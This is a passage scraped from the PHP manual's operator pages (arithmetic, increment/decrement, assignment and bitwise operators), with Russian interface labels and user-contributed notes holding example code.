var_dump($i2);
?>
Output:
string(1) "5"
int(5)
tlili dot mokhtar at gmail dot com 04-Sep-2021 09:58
An easy trick to get the result of the left shift operation (<<), e.g.

15 << 2 = 15 * (2*2) = 60

15 << 3 = 15 * (2*2*2) = 120

15 << 5 = 15 * (2*2*2*2*2) = 480

and so on...

So it's:

(number on left) multiplied by (number on right) times 2.

The same goes for the right shift operator (>>), where:

(number on left) divided by (number on right) times 2 e.g.

15 >> 2 = (15/2)/2 = 7/2 = 3 (use floor values if result is in decimals).

35 >> 3 = (((35/2)/2)/2 = (17/2)/2 = 8/2 = 4
instatiendaweb at gmail dot com 20-Feb-2021 09:44
//incorrect
$a = true ? 0 : true ? 1 : 2; // (true ? 0 : true) ? 1 : 2 = 2
//Unparenthesized `a ? b : c ? d : e` is not supported. Use either `(a ? b : c) ? d : e` or `a ? b : (c ? d : e)`
//correct
$a = (true ? 0 : true) ? 1 : 2; // (true ? 0 : true) ? 1 : 2 = 2

==> correction documentation.
aaronw at catalyst dot net dot nz 11-Aug-2017 01:18
If you've come here looking for a full list of PHP operators, take note that the table here is *not* complete. There are some additional operators (or operator-ish punctuation tokens) that are not included here, such as "->", "::", and "...".

For a really comprehensive list, take a look at the "List of Parser Tokens" page: http://php.net/manual/en/tokens.php
ivan at dilber dot info 24-Apr-2017 03:55
<?php
// Another tricky thing here is using && or || with ternary ?:
$x && $y ? $a : $b;  // ($x && $y) ? $a : $b;

// while:
$x and $y ? $a : $b;  // $x and ($y ? $a : $b);

?>
fabmlk 02-Jun-2015 05:41
Watch out for the difference of priority between 'and vs &&' or '|| vs or':
<?php
$bool = true && false;
var_dump($bool); // false, that's expected

$bool = true and false;
var_dump($bool); // true, ouch!
?>
Because 'and/or' have lower priority than '=' but '||/&&' have higher.
Carsten Milkau 06-Jul-2012 12:06
Beware the unusual order of bit-wise operators and comparison operators, this has often lead to bugs in my experience. For instance:

<?php if ( $flags & MASK  == 1) do_something(); ?>

will not do what you might expect from other languages. Use

<?php if (($flags & MASK) == 1) do_something(); ?>

in PHP instead.


Arithmetic Operators

Remember basic arithmetic from school? These work just like those.

Arithmetic Operators
Example | Name | Result
+$a | Identity | Conversion of $a to int or float as appropriate.
-$a | Negation | Opposite of $a.
$a + $b | Addition | Sum of $a and $b.
$a - $b | Subtraction | Difference of $a and $b.
$a * $b | Multiplication | Product of $a and $b.
$a / $b | Division | Quotient of $a and $b.
$a % $b | Modulo | Remainder of $a divided by $b.
$a ** $b | Exponentiation | Result of raising $a to the $b'th power.

The division operator ("/") returns a float value unless the two operands are integers (or strings that get converted to integers) and the numbers are evenly divisible, in which case an integer value will be returned. For integer division, see intdiv().

Operands of modulo are converted to int before processing. For floating-point modulo, see fmod().

The result of the modulo operator % has the same sign as the dividend — that is, the result of $a % $b will have the same sign as $a. For example:

<?php

echo (5 % 3)."\n"; // prints 2
echo (5 % -3)."\n"; // prints 2
echo (-5 % 3)."\n"; // prints -2
echo (-5 % -3)."\n"; // prints -2

?>

Смотрите также

  • Math functions

User Contributed Notes

There are no user contributed notes for this page.


Incrementing/Decrementing Operators

PHP supports pre- and post-increment and decrement operators. Those unary operators allow to increment or decrement the value by one.

Increment/decrement Operators
Example | Name | Effect
++$a | Pre-increment | Increments $a by one, then returns $a.
$a++ | Post-increment | Returns $a, then increments $a by one.
--$a | Pre-decrement | Decrements $a by one, then returns $a.
$a-- | Post-decrement | Returns $a, then decrements $a by one.

Here's a simple example script:

<?php
echo 'Post-increment:', PHP_EOL;
$a = 5;
var_dump($a++);
var_dump($a);

echo 'Pre-increment:', PHP_EOL;
$a = 5;
var_dump(++$a);
var_dump($a);

echo 'Post-decrement:', PHP_EOL;
$a = 5;
var_dump($a--);
var_dump($a);

echo 'Pre-decrement:', PHP_EOL;
$a = 5;
var_dump(--$a);
var_dump($a);
?>

Результат выполнения данного примера:

Post-increment:
int(5)
int(6)
Pre-increment:
int(6)
int(6)
Post-decrement:
int(5)
int(4)
Pre-decrement:
int(4)
int(4)
Внимание

The increment and decrement operators have no effect on values of type bool. A E_WARNING is emitted as of PHP 8.3.0, because this will implicitly cast the value to int in the future.

The decrement operator has no effect on values of type null. A E_WARNING is emitted as of PHP 8.3.0, because this will implicitly cast the value to int in the future.

The decrement operator has no effect on non- numeric string. A E_WARNING is emitted as of PHP 8.3.0, because a TypeError will be thrown in the future.

Замечание:

Internal objects that support overloading addition and/or subtraction can also be incremented and/or decremented. One such internal object is GMP.

PERL string increment feature

Внимание

This feature is soft-deprecated as of PHP 8.3.0. The str_increment() function should be used instead.

It is possible to increment a non- numeric string in PHP. The string must be an alphanumerical ASCII string. Which increments letters up to the next letter, when reaching the letter Z the increment is carried to the value on the left. For example, $a = 'Z'; $a++; turns $a into 'AA'.

Пример #1 PERL string increment example

<?php
echo '== Alphabetic strings ==' . PHP_EOL;
$s = 'W';
for ($n=0; $n<6; $n++) {
echo ++$s . PHP_EOL;
}
// Alphanumeric strings behave differently
echo '== Alphanumeric strings ==' . PHP_EOL;
$d = 'A8';
for ($n=0; $n<6; $n++) {
echo ++$d . PHP_EOL;
}
$d = 'A08';
for ($n=0; $n<6; $n++) {
echo ++$d . PHP_EOL;
}
?>

Результат выполнения данного примера:

== Alphabetic strings ==
X
Y
Z
AA
AB
AC
== Alphanumeric strings ==
A9
B0
B1
B2
B3
B4
A09
A10
A11
A12
A13
A14
Внимание

If the alphanumerical string can be interpreted as a numeric string it will be cast to an int or float. This is particularly an issue with strings that look like a floating point numbers written in exponential notation. The str_increment() function does not suffer from these implicit type cast.

Пример #2 Alphanumerical string converted to float

<?php
$s = "5d9";
var_dump(++$s);
var_dump(++$s);
?>

Результат выполнения данного примера:

string(3) "5e0"
float(6)

This is because the value "5e0" is interpreted as a float and cast to the value 5.0 before being incremented.

User Contributed Notes

hartmut at php dot net 02-Aug-2012 03:28
Note that

$a="9D9"; var_dump(++$a);   => string(3) "9E0"

but counting onwards from there

$a="9E0"; var_dump(++$a);   => float(10)

this is due to "9E0" being interpreted as a string representation of the float constant 9E0 (or 9e0), and thus evalutes to 9 * 10^0 = 9 (in a float context)


Assignment Operators

The basic assignment operator is "=". Your first inclination might be to think of this as "equal to". Don't. It really means that the left operand gets set to the value of the expression on the right (that is, "gets set to").

The value of an assignment expression is the value assigned. That is, the value of "$a = 3" is 3. This allows you to do some tricky things:

<?php

$a = ($b = 4) + 5; // $a is equal to 9 now, and $b has been set to 4.

?>

In addition to the basic assignment operator, there are "combined operators" for all of the binary arithmetic, array union and string operators that allow you to use a value in an expression and then set its value to the result of that expression. For example:

<?php

$a = 3;
$a += 5; // sets $a to 8, as if we had said: $a = $a + 5;
$b = "Hello ";
$b .= "There!"; // sets $b to "Hello There!", just like $b = $b . "There!";

?>

Note that the assignment copies the original variable to the new one (assignment by value), so changes to one will not affect the other. This may also have relevance if you need to copy something like a large array inside a tight loop.

An exception to the usual assignment by value behaviour within PHP occurs with objects, which are assigned by reference. Objects may be explicitly copied via the clone keyword.

Assignment by Reference

Assignment by reference is also supported, using the "$var = &$othervar;" syntax. Assignment by reference means that both variables end up pointing at the same data, and nothing is copied anywhere.

Пример #1 Assigning by reference

<?php
$a = 3;
$b = &$a; // $b is a reference to $a

print "$a\n"; // prints 3
print "$b\n"; // prints 3

$a = 4; // change $a

print "$a\n"; // prints 4
print "$b\n"; // prints 4 as well, since $b is a reference to $a, which has
// been changed
?>

The new operator returns a reference automatically, as such assigning the result of new by reference is an error.

<?php
class C {}

$o = &new C;
?>

Результат выполнения данного примера:

Parse error: syntax error, unexpected 'new' (T_NEW) in ...

More information on references and their potential uses can be found in the References Explained section of the manual.

Arithmetic Assignment Operators

Example | Equivalent | Operation
$a += $b | $a = $a + $b | Addition
$a -= $b | $a = $a - $b | Subtraction
$a *= $b | $a = $a * $b | Multiplication
$a /= $b | $a = $a / $b | Division
$a %= $b | $a = $a % $b | Modulus
$a **= $b | $a = $a ** $b | Exponentiation

Bitwise Assignment Operators

Example | Equivalent | Operation
$a &= $b | $a = $a & $b | Bitwise And
$a |= $b | $a = $a | $b | Bitwise Or
$a ^= $b | $a = $a ^ $b | Bitwise Xor
$a <<= $b | $a = $a << $b | Left Shift
$a >>= $b | $a = $a >> $b | Right Shift

Other Assignment Operators

Example | Equivalent | Operation
$a .= $b | $a = $a . $b | String Concatenation
$a ??= $b | $a = $a ?? $b | Null Coalesce

Смотрите также

  • arithmetic operators
  • bitwise operators
  • null coalescing operator

User Contributed Notes

Hayley Watson 14-Dec-2023 09:13
In the case of the null coalescing assignment operator, even though the operator is right-associative just as the other assignment operators are, the left hand side is still tested first to see if it is already set or not. If it is, the right-hand side is not evaluated at all.

So if you try to be clever by writing something like
<?php
// If $local isn't set use the $runtime value; if that's not set,
// use $environment, and if that's not set, use "default"; while
// setting $runtime and $environment to appropriate values
// for later reference.
$local ??= $runtime ??= $environment ??= "default";
?>
then the second assignment will not be evaluated if $local is already set (which means $runtime and hence $environment will be unaffected whether they are set or not).

To get the code to do what it looks like it's doing, you'll have to write the assignments separately:
<?php
$environment ??= "default";
$runtime ??= $environment;
$local ??= $runtime;
?>

If in this particular instance you didn't *want* $runtime and $environment to be set to a (current or default) value, you can of course still write
<?php
$local ??= $runtime ?? $environment ?? "default";
?>
Anonymous 15-Jun-2023 04:18
If you are looking for array-like assignment syntax documentation, it is here:
https://www.php.net/manual/en/language.types.array.php#language.types.array.syntax.destructuring
asc at putc dot de 13-Jul-2015 02:39
PHP uses a temporary variable for combined assign-operators (unlike JavaScript), therefore the left-hand-side (target) gets evaluated last.

Input:
$a += $b + $c;

Meaning:
$a = ($b + $c) + $a;

Not:
$a = $a + ($b + $c);

This can be important if the target gets modified inside the expression.

$a = 0;
$a += (++$a) + (++$a); // yields 5 (instead of 4)
Robert Schneider 13-Mar-2015 01:03
Be aware of assignments with conditionals. The assignment operator is stronger as 'and', 'or' and 'xor'.

<?php
$x = true and false;   //$x will be true
$y = (true and false); //$y will be false
?>
ma dot bx dot ar at gamil dot com 02-Jun-2014 10:35
Document says:
"An exception to the usual assignment by value behaviour within PHP occurs with objects, which are assigned by reference in PHP 5. Objects may be explicitly copied via the clone keyword."

But it's not very accurate! Considering this code:
<?php
$a = new StdClass;
$b = $a;

$a = new StdClass;

var_dump ($a, $b);
?>

Output:
object(stdClass)#2 (0) {
}
object(stdClass)#1 (0) {
}
Note: #2 and #1 means two different objects.

But this code:
<?php
$a = new StdClass;
$b = &$a;

$a = new StdClass;

var_dump ($a, $b);
?>

Output will be:

object(stdClass)#2 (0) {
}
object(stdClass)#2 (0) {
}

Note: Still pointing to the same object.

And this shows that that exception is not valid, PHP assignment for objects still makes a copy of variable and does not creates a real reference, albeit changing an object variable members will cause both copies to change.
So, I would say assignment operator makes a copy of 'Object reference' not a real object reference.
Peter, Moscow 11-Feb-2011 01:44
Using $text .= "additional text"; instead of $text =  $text ."additional text"; can seriously enhance performance due to memory allocation efficiency.

I reduced execution time from 5 sec to .5 sec (10 times) by simply switching to the first pattern for a loop with 900 iterations over a string $text that reaches 800K by the end.
Hayley Watson 05-Feb-2008 05:54
You could also take adam at gmail dot com's xor-assignment operator and use the fact that it's right-associative:

$a ^= $b ^= $a ^= $b;
Hayley Watson 07-Oct-2007 03:22
bradlis7 at bradlis7 dot com's description is a bit confusing. Here it is rephrased.

<?php
$a = 'a';
$b = 'b';

$a .= $b .= "foo";

echo $a,"\n",$b;?>
outputs

abfoo
bfoo

Because the assignment operators are right-associative and evaluate to the result of the assignment
<?php
$a .= $b .= "foo";
?>
is equivalent to
<?php
$a .= ($b .= "foo");
?>
and therefore
<?php
$b .= "foo";
$a .= $b;
?>


Bitwise Operators

Bitwise operators allow evaluation and manipulation of specific bits within an integer.

Bitwise Operators
Example | Name | Result
$a & $b | And | Bits that are set in both $a and $b are set.
$a | $b | Or (inclusive or) | Bits that are set in either $a or $b are set.
$a ^ $b | Xor (exclusive or) | Bits that are set in $a or $b but not both are set.
~ $a | Not | Bits that are set in $a are not set, and vice versa.
$a << $b | Shift left | Shift the bits of $a $b steps to the left (each step means "multiply by two")
$a >> $b | Shift right | Shift the bits of $a $b steps to the right (each step means "divide by two")

Bit shifting in PHP is arithmetic. Bits shifted off either end are discarded. Left shifts have zeros shifted in on the right while the sign bit is shifted out on the left, meaning the sign of an operand is not preserved. Right shifts have copies of the sign bit shifted in on the left, meaning the sign of an operand is preserved.

Use parentheses to ensure the desired precedence. For example, $a & $b == true evaluates the equivalency then the bitwise and; while ($a & $b) == true evaluates the bitwise and then the equivalency.

If both operands for the &, | and ^ operators are strings, then the operation will be performed on the ASCII values of the characters that make up the strings and the result will be a string. In all other cases, both operands will be converted to integers and the result will be an integer.

If the operand for the ~ operator is a string, the operation will be performed on the ASCII values of the characters that make up the string and the result will be a string, otherwise the operand and the result will be treated as integers.

Both operands and the result for the << and >> operators are always treated as integers.

     PHP's error_reporting ini setting uses bitwise values,
     providing a real-world demonstration of turning
     bits off. To show all errors, except for notices,
     the php.ini file instructions say to use:
     E_ALL & ~E_NOTICE

     This works by starting with E_ALL:
     00000000000000000111011111111111
     Then taking the value of E_NOTICE...
     00000000000000000000000000001000
     ... and inverting it via ~:
     11111111111111111111111111110111
     Finally, it uses AND (&) to find the bits turned
     on in both values:
     00000000000000000111011111110111

     Another way to accomplish that is using XOR (^)
     to find bits that are on in only one value or the other:
     E_ALL ^ E_NOTICE

     error_reporting can also be used to demonstrate turning bits on.
     The way to show just errors and recoverable errors is:
     E_ERROR | E_RECOVERABLE_ERROR

     This process combines E_ERROR
     00000000000000000000000000000001
     and
     00000000000000000001000000000000
     using the OR (|) operator
     to get the bits turned on in either value:
     00000000000000000001000000000001

Пример #1 Bitwise AND, OR and XOR operations on integers

<?php
/*
* Ignore the top section,
* it is just formatting to make output clearer.
*/

$format = '(%1$2d = %1$04b) = (%2$2d = %2$04b)'
. ' %3$s (%4$2d = %4$04b)' . "\n";

echo <<<EOH
 --------- --------- -- ---------
result value op test
--------- --------- -- ---------
EOH;

/*
* Here are the examples.
*/

$values = array(0, 1, 2, 4, 8);
$test = 1 + 4;

echo "\n Bitwise AND \n";
foreach ($values as $value) {
$result = $value & $test;
printf($format, $result, $value, '&', $test);
}

echo "\n Bitwise Inclusive OR \n";
foreach ($values as $value) {
$result = $value | $test;
printf($format, $result, $value, '|', $test);
}

echo "\n Bitwise Exclusive OR (XOR) \n";
foreach ($values as $value) {
$result = $value ^ $test;
printf($format, $result, $value, '^', $test);
}
?>

Результат выполнения данного примера:

 ---------     ---------  -- ---------
 result        value      op test
 ---------     ---------  -- ---------
 Bitwise AND
( 0 = 0000) = ( 0 = 0000) & ( 5 = 0101)
( 1 = 0001) = ( 1 = 0001) & ( 5 = 0101)
( 0 = 0000) = ( 2 = 0010) & ( 5 = 0101)
( 4 = 0100) = ( 4 = 0100) & ( 5 = 0101)
( 0 = 0000) = ( 8 = 1000) & ( 5 = 0101)

 Bitwise Inclusive OR
( 5 = 0101) = ( 0 = 0000) | ( 5 = 0101)
( 5 = 0101) = ( 1 = 0001) | ( 5 = 0101)
( 7 = 0111) = ( 2 = 0010) | ( 5 = 0101)
( 5 = 0101) = ( 4 = 0100) | ( 5 = 0101)
(13 = 1101) = ( 8 = 1000) | ( 5 = 0101)

 Bitwise Exclusive OR (XOR)
( 5 = 0101) = ( 0 = 0000) ^ ( 5 = 0101)
( 4 = 0100) = ( 1 = 0001) ^ ( 5 = 0101)
( 7 = 0111) = ( 2 = 0010) ^ ( 5 = 0101)
( 1 = 0001) = ( 4 = 0100) ^ ( 5 = 0101)
(13 = 1101) = ( 8 = 1000) ^ ( 5 = 0101)

Пример #2 Bitwise XOR operations on strings

<?php
echo 12 ^ 9; // Outputs '5'

echo "12" ^ "9"; // Outputs the Backspace character (ascii 8)
// ('1' (ascii 49)) ^ ('9' (ascii 57)) = #8

echo "hallo" ^ "hello"; // Outputs the ascii values #0 #4 #0 #0 #0
// 'a' ^ 'e' = #4

echo 2 ^ "3"; // Outputs 1
// 2 ^ ((int)"3") == 1

echo "2" ^ 3; // Outputs 1
// ((int)"2") ^ 3 == 1
?>

Пример #3 Bit shifting on integers

<?php
/*
* Here are the examples.
*/

echo "\n--- BIT SHIFT RIGHT ON POSITIVE INTEGERS ---\n";

$val = 4;
$places = 1;
$res = $val >> $places;
p($res, $val, '>>', $places, 'copy of sign bit shifted into left side');

$val = 4;
$places = 2;
$res = $val >> $places;
p($res, $val, '>>', $places);

$val = 4;
$places = 3;
$res = $val >> $places;
p($res, $val, '>>', $places, 'bits shift out right side');

$val = 4;
$places = 4;
$res = $val >> $places;
p($res, $val, '>>', $places, 'same result as above; can not shift beyond 0');

echo "\n--- BIT SHIFT RIGHT ON NEGATIVE INTEGERS ---\n";

$val = -4;
$places = 1;
$res = $val >> $places;
p($res, $val, '>>', $places, 'copy of sign bit shifted into left side');

$val = -4;
$places = 2;
$res = $val >> $places;
p($res, $val, '>>', $places, 'bits shift out right side');

$val = -4;
$places = 3;
$res = $val >> $places;
p($res, $val, '>>', $places, 'same result as above; can not shift beyond -1');

echo "\n--- BIT SHIFT LEFT ON POSITIVE INTEGERS ---\n";

$val = 4;
$places = 1;
$res = $val << $places;
p($res, $val, '<<', $places, 'zeros fill in right side');

$val = 4;
$places = (PHP_INT_SIZE * 8) - 4;
$res = $val << $places;
p($res, $val, '<<', $places);

$val = 4;
$places = (PHP_INT_SIZE * 8) - 3;
$res = $val << $places;
p($res, $val, '<<', $places, 'sign bits get shifted out');

$val = 4;
$places = (PHP_INT_SIZE * 8) - 2;
$res = $val << $places;
p($res, $val, '<<', $places, 'bits shift out left side');

echo "\n--- BIT SHIFT LEFT ON NEGATIVE INTEGERS ---\n";

$val = -4;
$places = 1;
$res = $val << $places;
p($res, $val, '<<', $places, 'zeros fill in right side');

$val = -4;
$places = (PHP_INT_SIZE * 8) - 3;
$res = $val << $places;
p($res, $val, '<<', $places);

$val = -4;
$places = (PHP_INT_SIZE * 8) - 2;
$res = $val << $places;
p($res, $val, '<<', $places, 'bits shift out left side, including sign bit');

/*
* Ignore this bottom section,
* it is just formatting to make output clearer.
*/

function p($res, $val, $op, $places, $note = '') {
$format = '%0' . (PHP_INT_SIZE * 8) . "b\n";

printf("Expression: %d = %d %s %d\n", $res, $val, $op, $places);

echo " Decimal:\n";
printf(" val=%d\n", $val);
printf(" res=%d\n", $res);

echo " Binary:\n";
printf(' val=' . $format, $val);
printf(' res=' . $format, $res);

if ($note) {
echo " NOTE: $note\n";
}

echo "\n";
}
?>

Результат выполнения данного примера на 32-битных машинах:

--- BIT SHIFT RIGHT ON POSITIVE INTEGERS ---
Expression: 2 = 4 >> 1
 Decimal:
  val=4
  res=2
 Binary:
  val=00000000000000000000000000000100
  res=00000000000000000000000000000010
 NOTE: copy of sign bit shifted into left side

Expression: 1 = 4 >> 2
 Decimal:
  val=4
  res=1
 Binary:
  val=00000000000000000000000000000100
  res=00000000000000000000000000000001

Expression: 0 = 4 >> 3
 Decimal:
  val=4
  res=0
 Binary:
  val=00000000000000000000000000000100
  res=00000000000000000000000000000000
 NOTE: bits shift out right side

Expression: 0 = 4 >> 4
 Decimal:
  val=4
  res=0
 Binary:
  val=00000000000000000000000000000100
  res=00000000000000000000000000000000
 NOTE: same result as above; can not shift beyond 0

--- BIT SHIFT RIGHT ON NEGATIVE INTEGERS ---
Expression: -2 = -4 >> 1
 Decimal:
  val=-4
  res=-2
 Binary:
  val=11111111111111111111111111111100
  res=11111111111111111111111111111110
 NOTE: copy of sign bit shifted into left side

Expression: -1 = -4 >> 2
 Decimal:
  val=-4
  res=-1
 Binary:
  val=11111111111111111111111111111100
  res=11111111111111111111111111111111
 NOTE: bits shift out right side

Expression: -1 = -4 >> 3
 Decimal:
  val=-4
  res=-1
 Binary:
  val=11111111111111111111111111111100
  res=11111111111111111111111111111111
 NOTE: same result as above; can not shift beyond -1

--- BIT SHIFT LEFT ON POSITIVE INTEGERS ---
Expression: 8 = 4 << 1
 Decimal:
  val=4
  res=8
 Binary:
  val=00000000000000000000000000000100
  res=00000000000000000000000000001000
 NOTE: zeros fill in right side

Expression: 1073741824 = 4 << 28
 Decimal:
  val=4
  res=1073741824
 Binary:
  val=00000000000000000000000000000100
  res=01000000000000000000000000000000

Expression: -2147483648 = 4 << 29
 Decimal:
  val=4
  res=-2147483648
 Binary:
  val=00000000000000000000000000000100
  res=10000000000000000000000000000000
 NOTE: sign bits get shifted out

Expression: 0 = 4 << 30
 Decimal:
  val=4
  res=0
 Binary:
  val=00000000000000000000000000000100
  res=00000000000000000000000000000000
 NOTE: bits shift out left side

--- BIT SHIFT LEFT ON NEGATIVE INTEGERS ---
Expression: -8 = -4 << 1
 Decimal:
  val=-4
  res=-8
 Binary:
  val=11111111111111111111111111111100
  res=11111111111111111111111111111000
 NOTE: zeros fill in right side

Expression: -2147483648 = -4 << 29
 Decimal:
  val=-4
  res=-2147483648
 Binary:
  val=11111111111111111111111111111100
  res=10000000000000000000000000000000

Expression: 0 = -4 << 30
 Decimal:
  val=-4
  res=0
 Binary:
  val=11111111111111111111111111111100
  res=00000000000000000000000000000000
 NOTE: bits shift out left side, including sign bit

Результат выполнения данного примера на 64-битных машинах:

--- BIT SHIFT RIGHT ON POSITIVE INTEGERS ---
Expression: 2 = 4 >> 1
 Decimal:
  val=4
  res=2
 Binary:
  val=0000000000000000000000000000000000000000000000000000000000000100
  res=0000000000000000000000000000000000000000000000000000000000000010
 NOTE: copy of sign bit shifted into left side

Expression: 1 = 4 >> 2
 Decimal:
  val=4
  res=1
 Binary:
  val=0000000000000000000000000000000000000000000000000000000000000100
  res=0000000000000000000000000000000000000000000000000000000000000001

Expression: 0 = 4 >> 3
 Decimal:
  val=4
  res=0
 Binary:
  val=0000000000000000000000000000000000000000000000000000000000000100
  res=0000000000000000000000000000000000000000000000000000000000000000
 NOTE: bits shift out right side

Expression: 0 = 4 >> 4
 Decimal:
  val=4
  res=0
 Binary:
  val=0000000000000000000000000000000000000000000000000000000000000100
  res=0000000000000000000000000000000000000000000000000000000000000000
 NOTE: same result as above; can not shift beyond 0

--- BIT SHIFT RIGHT ON NEGATIVE INTEGERS ---
Expression: -2 = -4 >> 1
 Decimal:
  val=-4
  res=-2
 Binary:
  val=1111111111111111111111111111111111111111111111111111111111111100
  res=1111111111111111111111111111111111111111111111111111111111111110
 NOTE: copy of sign bit shifted into left side

Expression: -1 = -4 >> 2
 Decimal:
  val=-4
  res=-1
 Binary:
  val=1111111111111111111111111111111111111111111111111111111111111100
  res=1111111111111111111111111111111111111111111111111111111111111111
 NOTE: bits shift out right side

Expression: -1 = -4 >> 3
 Decimal:
  val=-4
  res=-1
 Binary:
  val=1111111111111111111111111111111111111111111111111111111111111100
  res=1111111111111111111111111111111111111111111111111111111111111111
 NOTE: same result as above; can not shift beyond -1

--- BIT SHIFT LEFT ON POSITIVE INTEGERS ---
Expression: 8 = 4 << 1
 Decimal:
  val=4
  res=8
 Binary:
  val=0000000000000000000000000000000000000000000000000000000000000100
  res=0000000000000000000000000000000000000000000000000000000000001000
 NOTE: zeros fill in right side

Expression: 4611686018427387904 = 4 << 60
 Decimal:
  val=4
  res=4611686018427387904
 Binary:
  val=0000000000000000000000000000000000000000000000000000000000000100
  res=0100000000000000000000000000000000000000000000000000000000000000

Expression: -9223372036854775808 = 4 << 61
 Decimal:
  val=4
  res=-9223372036854775808
 Binary:
  val=0000000000000000000000000000000000000000000000000000000000000100
  res=1000000000000000000000000000000000000000000000000000000000000000
 NOTE: sign bits get shifted out

Expression: 0 = 4 << 62
 Decimal:
  val=4
  res=0
 Binary:
  val=0000000000000000000000000000000000000000000000000000000000000100
  res=0000000000000000000000000000000000000000000000000000000000000000
 NOTE: bits shift out left side

--- BIT SHIFT LEFT ON NEGATIVE INTEGERS ---
Expression: -8 = -4 << 1
 Decimal:
  val=-4
  res=-8
 Binary:
  val=1111111111111111111111111111111111111111111111111111111111111100
  res=1111111111111111111111111111111111111111111111111111111111111000
 NOTE: zeros fill in right side

Expression: -9223372036854775808 = -4 << 61
 Decimal:
  val=-4
  res=-9223372036854775808
 Binary:
  val=1111111111111111111111111111111111111111111111111111111111111100
  res=1000000000000000000000000000000000000000000000000000000000000000

Expression: 0 = -4 << 62
 Decimal:
  val=-4
  res=0
 Binary:
  val=1111111111111111111111111111111111111111111111111111111111111100
  res=0000000000000000000000000000000000000000000000000000000000000000
 NOTE: bits shift out left side, including sign bit

Внимание

Use functions from the gmp extension for bitwise manipulation on numbers beyond PHP_INT_MAX.

Смотрите также

  • pack()
  • unpack()
  • gmp_and()
  • gmp_or()
  • gmp_xor()
  • gmp_testbit()
  • gmp_clrbit()

User Contributed Notes

razvan_bc at yahoo dot com 03-Mar-2023 09:56
if you want to set a bit in php you don't need a new extension (avoid using of extensions could be slow down your php!) then with minimum effort you can have:

<?php

function setbit($v,$b=0){
        return (1<<$b)|$v;//($v&$x);
}

    echo sprintf('%b', setbit(0b00000010,0));

/*

bits position:          76543210
target number:  0b00000010
 bit 0-------------------------^

so

bits position:          76543210
result:                      00000011
(sprintf will show  "11" value)
*/
?>

same results with anonymous functions from a constant! ..
<?php

define('setbits',fn($v,$b=0)=>(1<<$b)|$v);
echo sprintf('%b',(setbits)(0b00000010,0));

?>

all test i made are on last PHP Version => 8.2.4RC1 !
biziclop at vipmail dot hu 18-Oct-2019 04:10
A fast algorithm (Brian Kernighan's) to count all bits set to 1 in an integer, modified to work with signed ints.
It does the same as https://php.net/gmp_popcount except for ordinary integers.

<?php
function count_set_bits( $n ){
  if( $n >= 0 ){  for( $count = 0;  $n;       ++$count )  $n &= $n - 1;  }
           else{  for( $count = 1;  $n << 1;  ++$count )  $n &= $n - 1;  }
  return $count;
}

echo 'This PHP uses ' . count_set_bits(-1) .'-bit integers.';
?>
ASchmidt at Anamera dot net 29-Jul-2019 11:52
Setting, unsetting and testing single and multiple bits in a bitmask:

<?php
    const    FLAG_A    =    0b0001,
            FLAG_B    =    0b0010,
            FLAG_C    =    0b0100,
            FLAG_D    =    0b1000;

    const    COMBO_BC = FLAG_B | FLAG_C;

    $bitmask = 0b000;

    // Setting individual flags.
    $bitmask |=    FLAG_B;        // Sets FLAG_B (=2)
    $bitmask |=    FLAG_C;        // also sets FLAG_C (=4)

    // Testing single or multiple flags.
    echo (bool)( $bitmask & FLAG_B );                            // True, B is set.

    echo (bool)( $bitmask & (FLAG_A | FLAG_B) );                // True, A or B is set.

    echo (bool)( $bitmask & FLAG_B and $bitmask & FLAG_C );        // True, B and C are set.
    echo (bool)( ( $bitmask & (FLAG_B | FLAG_C) ) ^ (FLAG_B | FLAG_C) );    // False if B and C are set.
    echo (bool)( ( $bitmask & COMBO_BC ) ^ COMBO_BC );            // False if B and C are set.

    echo (bool)( $bitmask & FLAG_C and $bitmask & FLAG_D );        // False, C and D are NOT BOTH set.
    echo (bool)( ( $bitmask & (FLAG_C | FLAG_D) ) ^ (FLAG_C | FLAG_D) );    // True, if C and D are NOT BOTH set.

    // Resetting single flag.
    $bitmask &= $bitmask ^ FLAG_B;    // Unsets B
    $bitmask &= $bitmask ^ FLAG_A;    // A remains unset.
    var_dump( $bitmask );            // Only C still set (=4)

    // Resetting multiple flags.
    $bitmask &= $bitmask ^ ( FLAG_C | FLAG_D );    // Unsets C and/or D
    var_dump( $bitmask );            // No flags set (=0)
joey 18-Jan-2016 09:05
If you want a quick one liner for reversing binary and performance/sanity isn't an issue:

    function reverse_bits($n) {
        return (int)base_convert(strrev(str_pad(base_convert($n, 10, 2), PHP_INT_SIZE * 8, 0, STR_PAD_LEFT)), 2, 10);
    }

Expect it to behave strangely for the signed bit. Best to use for < PHP_INT_SIZE * 8 to avoid peculiarity. You can also skip the cast if you don't mind keeping your number as a string. base convert appears to work for large precision or perhaps arbitrary but be prepared for strangeness (double, mixed types, precision loss, etc) if you need to work on the revolting number.

Use at your own peril.
luis at rosety dot com 18-Oct-2015 02:05
Example of function using bitwise operations for converting hexadecimal color (usually given as 6 hexadecimal digit string, into separated RGB integers)

<?php

function hex2rgb($hex){

    $dec = hexdec($hexcolor);               // $hex string to decimal value
    $r = $dec & hexdec('FF0000');          //Mask for red
    $g = $dec & hexdec('00FF00');         //Mask for green
    $b = $dec & hexdec('0000FF');         //Mask for blue

    return array($r>>16, $g>>8, $b);       // Shift full right each color from its original position
}
?>

Example of use

<?php
$rgb = hex2rgb('112233');
echo "red: ".$rgb[0]."\n";
echo "green: ".$rgb[1]."\n";
echo "blue: ".$rgb[2]."\n";
?>

Would produce:

red: 17
green: 34
blue: 51

Since:
dechex(17) = '#11'
dechex(34) = '#22'
dechex(51) = '#33'
J. Ketting 12-Jul-2014 09:39
@zooly

Don't forget the leading zeros.
It's very important if you want to write a function similar to the assembly instructions 'ror' and 'rol' (Rotate on Right and Rotate on Left), because of dword value; rotating the binary always takes 32 positions and includes the leading zeros!
So this is the right way:

<?php

function rotate ($decimal, $bits) {

  $binary = decbin($decimal);
  $binary = str_pad($binary, 32, '0', STR_PAD_LEFT);
  return (
    bindec(substr($binary, $bits).substr($binary, 0, $bits))
  );

}

?>

Look at this assembly code:

mov edx, 1bf5616c
ror edx, 8

After this operation: edx = 0x6c1bf561 (binary: 1101100000110111111010101100001)
But your code returns 0x0d9bf561 (binary: 1101100110111111010101100001)
In order to get the right value you have to add the leading zeros by adding that line with strpad() (see above). Very important!
sag at ich dot net 14-Jul-2013 06:52
me reimplement for bitwise NOT (~)

    protected function flipBin($number) {
        $bin = str_pad(base_convert($number, 10, 2), 32, 0, STR_PAD_LEFT);
        for ($i = 0; $i < 32; $i++) {
            switch ($bin{$i}) {
                case '0' :
                    $bin{$i} = '1';
                    break;
                case '1' :
                    $bin{$i} = '0';
                    break;
            }
        }
        return bindec($bin);
    }

